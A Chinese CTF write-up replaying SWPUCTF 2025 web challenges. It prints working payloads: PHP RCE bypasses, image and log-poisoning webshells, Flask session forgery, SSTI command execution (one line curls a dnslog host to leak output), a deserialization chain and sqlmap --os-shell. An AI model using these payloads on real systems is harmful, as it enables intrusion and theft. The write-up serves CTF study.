[赛题复现]SWPUCTF 2025

新的旅途~开始了

[问题 1/CVE-2024-2961/并非签到]我是签到

并非签到,我放在了问题 1 是因为我以为是签到题第一个做,然后直接暴毙

1
2
3
4
5
6
7
<?php   
if(isset($_POST['file'])){
$data = file_get_contents($_POST['file']);
echo "File contents: $data";}
highlight_file(__FILE__);
error_reporting(0);
?>

读题,尝试看/flag 也没有,环境变量也没权限看

data 协议用不了,那还说啥了,看 wp 吧

WP 说是 CVE-2024-2961

CVE-2024-2961(文件读取 RCE 问题)

真的是签到题吗?

[问题 2/http 请求头]SIGN IN!

又是一个签到题,英文版签到,我们来看看吧

按要求用 Burp 设置即可

修改了还得点一下检查进度

做题启示

伪造 get 请求头最后要空两行不是一行,不是只有 post 要空,get 一样的要

[问题 3/RCE/自增]php 命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
highlight_file(__FILE__);
error_reporting(0);
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 200) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\0-9]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
?>

这个没啥说的,自增绕过就行了

1
%24_%3D%5B%5D._%3B%24_%3D%24_%5B_%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24___%3D%24__%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24____%3D%24_%3B%24_____%3D%2B%2B%24_%3B%24_%3D_.%24__.%24___.%24____.%24_____%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B&_=system&__=nl /f*

做题启示

无论是 get 还是 post,都会解析 URL 编码

POST 出现编码无效的时候,尝试将 % 改成\x,但绝非万能

所以取反一般只有 get 生效

[问题 4/文件包含/信息收集]ezez_include

文件包含,/flag 无果,环境变量不可读,必然转化为 RCE 问题

通过扫盘得到路由/upload.php

只允许 jpg 文件被上传

没别的 WAF 了,直接上传 jpg 图片马,就是用 16 进制编辑在 jpg 图片后插入 webshell

读取后拿到 shell

post 一个 mima=system(‘env’);即可

诶,怎么没有用?

那稍微修改一下图片马,直接命令中嵌入 env,上传 muma2

好家伙

改成 ls /,发现这玩意

那包含一下,就通过了

[问题 5/日志注入]登录框

源码发现

这属于 bcrypt 加密的哈希值

1
$2y$10$h2JGq8MxzVKwSSXqOA//CeaXvKwBiBJpbLXZDyAaYzhn/JdgODyje

问了问 AI,能推知用户名是 admin,接下来用 Burp 爆破密码,发现密码为 123456,进入了一个文件内容查看器

查看当前目录表中的 notes

得到考点:CVE2022-47615

但通过查看源码,这好像只是一个普通的文件包含,且存在/这一 waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<script>
206 document.getElementById('fetchBtn').addEventListener('click', async () => {
207 const fileNameInput = document.getElementById('fileNameInput');
208 const fileName = fileNameInput.value.trim();
209 const resultBox = document.getElementById('resultBox');
210
211 if (fileName.includes('..') || fileName.includes('/')) {
212 resultBox.textContent = '文件名不能包含非法字符';
213 resultBox.className = 'error fade-in';
214 return;
215 }
216
217 if (!fileName) {
218 resultBox.textContent = '请输入文件名!';
219 resultBox.className = 'error fade-in';
220 return;
221 }
222
223 resultBox.textContent = '正在请求...';
224 resultBox.className = 'fade-in';
225
226 const url = `file.php?file_path=./wp-content/${encodeURIComponent(fileName)}`;
227
228 try {
229 const response = await fetch(url);
230
231 const contentType = response.headers.get('content-type');
232 if (contentType && contentType.includes('application/json')) {
233 const data = await response.json();
234 if (data.status === 'success') {
235 resultBox.textContent = `文件内容:\n${data.file_content}`;
236 resultBox.className = 'success fade-in';
237 } else if (data.status === 'error') {
238 resultBox.textContent = `错误信息:\n${data.error_message}`;
239 resultBox.className = 'error fade-in';
240 } else {
241 resultBox.textContent = '接口返回了未知格式的数据。';
242 resultBox.className = 'error fade-in';
243 }
244 } else {
245 const errorText = await response.text();
246 resultBox.textContent = `后端发生错误:\n${errorText}`;
247 resultBox.className = 'error fade-in';
248 }
249 } catch (error) {
250 resultBox.textContent = `请求失败:${error.message}`;
251 resultBox.className = 'error fade-in';
252 }
253 });
254 </script>

但观察黄底的路径,他是前端检测啊,我们直接 url 访问 file.php?file_path=,不就可以进行任意文件包含了

访问/flag 无果/proc/self/environ 无 flag,只能先访问/etc/passwd,回显是这样

没招了。

看了看这题的 WP,本题属于日志注入问题,靶机的日志可通过 file_path 进行 URL 访问

例如访问

1
**/var/log/nginx/access.log**

回显的就是本靶机访问成功的日志

我们发现这里面带有每次访问的 User-Agent,那是不是我们只要把 php 木马嵌进 User-Agent,再用文件包含包含一下日志,是不是就能提到 RCE 了

我们用 hackbar 嵌入这样一个东西

1
User-Agent: <?php system(hex2bin('6563686f20223c3f70687020406576616c285c245f504f53545b315d293b706870696e666f28293b3f3e22203e202f7661722f7777772f68746d6c2f77702d636f6e74656e742f636f6e6669672e7068703b'));?>

也就是将一句话木马写入 config.php,这里其实也有讲究,wp-content 应用的这么一个框架,网站当前目录是不可写

的,只能写到别的目录中

这句话实际意思是

1
echo "<?php @eval(\$_POST[1]);phpinfo();?>" > /var/www/html/wp-content/config.php;

因为这个 access.log 在这一文件读取下返回的是 json,所有的引号等直接明文嵌进去会出问题,$ 还得加反斜杠

发送这样一个 url,返回的是 200,应该会被写入进日志

这里注意哈,发木马的时候别用校园网,发不出去,上一题的图片马也是这样

我们再包含**/var/log/nginx/access.log**,写入的代码就可以被运行了,之后包含 /var/www/html/wp-content/config.php,就能够拿到 webshell 了

做题启示

本题原本的 CVE 漏洞是一个任意文件包含的漏洞,这里应该是模拟了一下给了个文件包含的入口

因为本题可以直接用文件包含访问日志,所以我们可以直接在日志中写入漏洞,并注意本入口返回

json 格式,我们嵌入的木马必须适应这个格式。

[问题 6/SSTI/FlaskSession 提权]我是复读机

开始挺幽默,不让使用右键和 F12,我们使用这个查看源码

看到这条 hint

访问 robots.txt

随即发现路由,访问一下可以写入复读内容

试着写了一下,发现要提权

观察 cookie 中的 session 值,发现是 Flask 提权,因为 jwt 不好使

1
eyJ1c2VyIjoiZ3Vlc3QifQ.abghfg.OXowBsA0tfKCcm0TpvagXsSfzEE

至此就没信息了,扫盘吧

扫盘也啥也没得到,查看网页源代码

禁止界面的源代码中看到了 key

1
S4p3r_6arth_1s_Burning

这里就要用到 Flask 解密工具了,因为在 windows 上不好用也用不了,又得打开 linux 环境

脚本名为 test.py

我们先进行解码

1
python3 test.py decode -c 'eyJ1c2VyIjoiZ3Vlc3QifQ.abgnbA.MjwBUSoe_kvRADJnrjWoiNm07Kw' -s 'S4p3r_6arth_1s_Burning'

得到标准格式

1
{'user': 'guest'}

然后再用密钥编码,注意不要单引号嵌套

1
python3 test.py encode -s 'S4p3r_6arth_1s_Burning'  -t "{'user': 'admin'}"

得到

1
eyJ1c2VyIjoiYWRtaW4ifQ.abgtMQ.gKK2qAPCUMARNapqteIrJTJjDsI

接着是个绕 WAF 的 SSTI,过滤点号和部分字符串,这里不多说了,带着 cookie 进行 SSTI 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /render HTTP/1.1
Host: node1.anna.nssctf.cn:27711
Content-Length: 125
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node1.anna.nssctf.cn:27711
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node1.anna.nssctf.cn:27711/Up1oAds
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.abgtMQ.gKK2qAPCUMARNapqteIrJTJjDsI
Connection: close

payload={%print(url_for['_'+'_glo'+'bals_'+'_']['_'+'_g'+'etitem_'+'_']('o''s')['p'+'o'+'p'+'en']('cat /fl*')['r'+'ead']())%}

即得 flag

做题启示

很好的 flask 提权范本

[问题 7/无回显 SSTI/attr+ 静态目录]诚实大厅

一开场是个 SSTI,过滤了 config,cycler,lipsum 和双大括号和中括号,还有点号,和一系列字符串,用 attr+get 绕过,并使用 url_for

通过了,但是这个 SSTI 无回显,最终 payload 是这样

1
{%print(url_for|attr('__gl'+'obals__')|attr('get')('o'+'s')|attr('popen')('curl `ls`\u002E00de69\u002Ednslog\u002Ecn')|attr('read')())%}

没用,不出网

那通过静态目录回显,注意前一个命令是创建静态目录,后一个就是写入指令了

1
{%print(url_for|attr('__gl'+'obals__')|attr('get')('o'+'s')|attr('popen')('mkdir static; cat /fl* > static/out')|attr('read')())%}

访问这么一个 url

得到文件,通过了!

做题启示

无回显 ssti 的当前目录通常是不可写的,可以先创建静态目录,再写入

也可以学学 wp 的 app 静态目录创建,效果是等同的

1
{{nho|attr('__eq__')|attr('__g''lobals__')|attr('get')('__b''uiltins__')|attr('get')('__i''mport__')('os')|attr('popen')('mkdir /app/static')|attr('read')()}}
1
{{nho|attr('__eq__')|attr('__g''lobals__')|attr('get')('__b''uiltins__')|attr('get')('__i''mport__')('os')|attr('popen')('cat /flag >/app/static/1')|attr('read')()}}

[问题 8/弱口令/php 综合问题/无参 RCE]DANGEROUS TRIAL

点进去是个登录界面,源码也没别的线索了,直接扫盘

扫盘发现/www.zip 路由,访问下载压缩包文件

解压后获得了这么一个密码字典

用 Burp 爆弱口令,这个就不多说了,抓包发送到 intruder

爆出弱口令

输入 admin/NSSLOVE,回显新题,又是 php,我们一步步分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php 
//base64_encode("rimuru")???
session_start();
error_reporting(0);
highlight_file(__FILE__);

$raw = $_GET['cat'] ?? '';
if (intval($raw) === 114514 && $raw !== '114514') {
} else {
die("抱歉勇士,闯关失败<br>");
}


$pt = $_GET['Slime'] ?? '';
if (substr($pt, -3) !== 'XJ1') {
die("成功进入洞穴,但是怪物呢??<br>");
}

$data = @file_get_contents($pt);
if (trim($data) !== "rimuru") {
die("你看到怪物了快攻击他!<br>");
}

$code = $_POST['NSS_CTF.LOVE'] ?? '';
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)) {
eval($code);
echo "成功捕获一只史莱姆!<br>";
} else {
die("你不是怪物的对手~<br>");
}
抱歉勇士,闯关失败

首先第一个 interval 函数

这个很简单,他也属于返回整型变量的函数,我们传入

1
2
cat=114514a
cat=114514.00001

都是可以的

第二关这两个都是连体的,要求文件包含的值是 rimuru

1
2
3
4
5
6
7
8
9
$pt = $_GET['Slime'] ?? ''; 
if (substr($pt, -3) !== 'XJ1') {
die("成功进入洞穴,但是怪物呢??<br>");
}

$data = @file_get_contents($pt);
if (trim($data) !== "rimuru") {
die("你看到怪物了快攻击他!<br>");
}

我们现在啥路径也不知道,想要文件包含输出特定的值,那就只有 data://协议

但是 data 协议吧,还得满足路径最后三位是 XJ1,这里 trim 函数是用来删字符两边的空白符的,大概的黑名单有这些

目前没招了

这里看到上面的 hint

1
//base64_encode("rimuru")???

把这个东西 base64 编码,刚好是 XJ1 结尾

1
cmltdXJ1

于是我们可以用 data 协议 +base64 编码,像这样

1
data://text/plain,base64,cmltdXJ1

第一个函数作为取尾函数,取值为 XJ1

第二个函数作为文件包含,取值是 cmltdXJ1 的 base64 编码 rimuru,没有空白,通过 trim 函数还是 rimuru

那肯定是没问题的,通过了

第三个问题要求传入 POST 变量 NSS_CTF.LOVE,这个是我们第一次见,所以要修改一下参数名,改成 NSS[CTF.LOVE

就剩下最后的无参 RCE,用目录遍历法,多刷新几次,就能读到 flag 了

1
NSS[CTF.LOVE=var_dump(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));

当然你如果用 RCE,也行,就是需要巧用 end,不能用 current 往后推了

1
NSS[CTF.LOVE=system(end(current(get_defined_vars())));

做题启示

本题要学习的东西真的很多,无参数 RCE 的 end 问题,POST 变量名问题,data 协议 base64 编码问题等等 php 常考问题,可以多加阅读做题过程

[问题 9/php 反序列化/原生类/指针引用]FIRST MEETING

反序列化的题,我们仍然一步一步分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php 
highlight_file(__FILE__);
class WEB {
private $sauy;
public $creambread;

public function __construct($sauy) {
$this->sauy = $sauy;
echo "I know you are good at this!";
}
public function __destruct() {
echo $this -> sauy;
}
}

class REVERSE {
protected $re1sen;
public $harukaze;
public $ysyy;
public $acc;

public function __call($a, $b){
if (!is_string($this -> harukaze) ||!is_string($this -> ysyy)||($this -> harukaze === $this -> ysyy)) {
die("你输的什么东西?");
}
if (md5($this -> harukaze) == md5($this -> ysyy)) {
($this->acc)();
} else {
die("?");
}
}
}

class PWN {
public $wings;
public $c0trick;

public function __toString() {
if($this->wings === 'SHENG-YI'){
$this -> c0trick -> MinatoNamikaze();
return "NSS WELCOME YOU!!!";
}
else {
die("No wings,no fly!");
}
}
}
class MISC {
public $cr4p;

public function __invoke(){
$this -> cr4p -> png = '010';
}
}

class CRYPTO {
public $kyarihoshi;
public $rocage;
public $last;
public $dance;
public $kiss;
public function __construct(){
$kyarihoshi = $this -> kyarihoshi;
$rocage = $this -> rocage;
$kiss = $this -> kiss;
}
public function __set($a, $b){
$this -> dance = md5(rand(1, 10000));
if ($this->last === $this -> dance){
$kiss = new $this -> kyarihoshi($this -> rocage);
echo "$kiss<br>";
echo "恭喜!<br>";
}
else{
die("LAST DANCE!May be you can find the trick!");
}
}
}
$NSS = $_POST["NSS"];
unserialize($NSS);
?>

destruct 知 web 这个链头,$this -> sauy 被打印了,我们想要执行的是 tostring。pwn 类有 tostring,有

1
2
3
$a=new WEB();
$b=new PWN();
$a->sauy=$b;

Tostring 触发,要求特定变量名,必然有

1
$b->wings='SHENG-YI';

随后执行 c0trick 成员中的 MinatoNamikaze() 函数,连上的是 REVERSE 类的 call

1
2
$c=new REVERSE();
$b->c0trick=$c;

接下来就是弱比较绕过了,这个就很简单了

1
2
$c->harukaze="314282422";
$c->ysyy="240610708";

触发的是 $c->acc(),连接上 MISC 类的 invoke 函数

1
2
$d=new MISC();
$c->acc=$d;

就剩下最后一个类了,MISC 类访问 CRYPTO 类的无法访问变量,有

1
2
$e=new CRYPTO();
$d->cr4p=$e;

强比较,还随机,这里直接用指针引用

1
2
3
4
5
6
7
public function __set($a, $b){ 
$this -> dance = md5(rand(1, 10000));
if ($this->last === $this -> dance){
$kiss = new $this -> kyarihoshi($this -> rocage);
echo "$kiss<br>";
echo "恭喜!<br>";
}

1
$e->last=&$e->dance

最后我们就只能利用原生类来执行命令了

1
$e->kyarihoshi = "SplFileObject";$e->rocage = "/flag";

合起来,POC 是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class WEB {
public $sauy;//private
public $creambread;

}

class REVERSE {
public $re1sen;//protected
public $harukaze;
public $ysyy;
public $acc;

}

class PWN {
public $wings;
public $c0trick;

}
class MISC {
public $cr4p;

}

class CRYPTO {
public $kyarihoshi;
public $rocage;
public $last;
public $dance;
public $kiss;
}
$a=new WEB();
$b=new PWN();
$a->sauy=$b;
$b->wings='SHENG-YI';
$c=new REVERSE();
$b->c0trick=$c;
$c->harukaze=314282422;
$c->ysyy=240610708;
$d=new MISC();
$c->acc=$d;
$e=new CRYPTO();
$d->cr4p=$e;
$e->last=&$e->dance;
$e->kyarihoshi = "SplFileObject";$e->rocage = "/flag";
$payload = serialize($a);
echo "最终payload: ";
echo $payload;
?>
1
O:3:"WEB":2:{s:4:"sauy";O:3:"PWN":2:{s:5:"wings";s:8:"SHENG-YI";s:7:"c0trick";O:7:"REVERSE":4:{s:6:"re1sen";N;s:8:"harukaze";s:9:"240610708";s:4:"ysyy";s:9:"314282422";s:3:"acc";O:4:"MISC":1:{s:4:"cr4p";O:6:"CRYPTO":5:{s:10:"kyarihoshi";s:13:"SplFileObject";s:6:"rocage";s:5:"/flag";s:4:"last";N;s:5:"dance";R:12;s:4:"kiss";N;}}}}s:10:"creambread";N;}

这里得到的,还不是最终 payload,原本是 private 和 protected 的,要自己改回来。

1
NSS=O:3:"WEB":2:{s:9:"%00WEB%00sauy";O:3:"PWN":2:{s:5:"wings";s:8:"SHENG-YI";s:7:"c0trick";O:7:"REVERSE":4:{s:9:"%00*%00re1sen";N;s:8:"harukaze";s:9:"240610708";s:4:"ysyy";s:9:"314282422";s:3:"acc";O:4:"MISC":1:{s:4:"cr4p";O:6:"CRYPTO":5:{s:10:"kyarihoshi";s:13:"SplFileObject";s:6:"rocage";s:5:"/flag";s:4:"last";N;s:5:"dance";R:12;s:4:"kiss";N;}}}}s:10:"creambread";N;}

做题启示

  1. 原生类的手法我们是第一次见,可以学习一下
  2. 遇到 rand()使用指针引用,也是本题的重点
  3. string 弱比较不能直接传数字

原生类拓展

在 new 处进行任意文件读取或远程命令执行,可以采用原生类,原题是这样

1
$kiss = new $this -> kyarihoshi($this -> rocage);

我们在题中是这样进行任意文件读取的

1
$e->kyarihoshi = "SplFileObject";$e->rocage = "/flag";

当然,还有很多可以进行任意文件读取的原生类,不同环境下可以依次尝试

1
2
$a->kyarihoshi = "XMLReader";
$a->rocage = "/flag";
1
2
$a->kyarihoshi = "DirectoryIterator";
$a->rocage = "/";
1
2
$a->kyarihoshi = "FilesystemIterator";
$a->rocage = "/";

[问题 10/SQL 注入/UDF 提权]sql 仅仅只是 sql 吗?

sql 注入题

正常注入发现是假的 flag,题前放了一条 hint,用 sqlmap

“列目录”代表 RCE,我们可以考虑到 UDF 提权,这需要:

数据库权限:网站数据库账户必须是 root 或具有高级权限;

路径知识:攻击者需要知道网站的绝对路径;

GPC 设置:PHP 的 GPC(Get/Post/Cookie)主动转义功能必须关闭;

文件权限:MySQL 的 secure_file_priv 参数必须无限制或设置适当

恰巧本题就都符合,使用 sqlmap:

1
sqlmap -u http://node1.anna.nssctf.cn:20626/?id=1 --random-agent --os-shell

本题中该选项选 2,就拿到 shell 了;实际情况要挨个尝试

总结

至此,我们完成了 SWPUCTF 2025 中当前能力能够解决的题目的复现。

剩下的题目存在 java python 安全,后续学习到了,再倒回来完成。

通过整场比赛的复现,我了解了很多解题方法和思维,并将部分只有理论支撑的知识框架加以实践

是非常有水平的一场比赛

本期复现到此结束 🎆